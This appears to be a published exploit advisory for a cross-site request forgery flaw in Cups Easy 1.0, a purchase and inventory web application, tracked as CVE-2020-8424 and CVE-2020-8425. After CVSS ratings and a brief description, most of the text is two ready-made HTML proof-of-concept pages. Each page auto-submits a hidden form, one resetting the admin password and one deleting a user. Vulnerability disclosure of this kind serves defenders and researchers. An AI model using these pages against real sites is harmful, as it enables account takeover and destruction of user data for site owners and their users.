Cups Easy 1.0 Cross Site Request Forgery

2020.01.30
Credit: J3rryBl4nks
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset) # Date: 2020-01-28 # Exploit Author: J3rryBl4nks # Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/ # Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/ # Version: 1.0 # Tested on Windows 10/Kali Rolling # CVE: CVE-2020-8424, CVE-2020-8425 # The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery # that would allow an attacker to change the Admin password and gain unrestricted # access to the site or delete any user. # Proof of Concept Code for Password Change: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="PASSWORDHERE" /> <input type="hidden" name="change" value="Change" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> # Proof of concept for user delete: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="delete" value="Delete" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>


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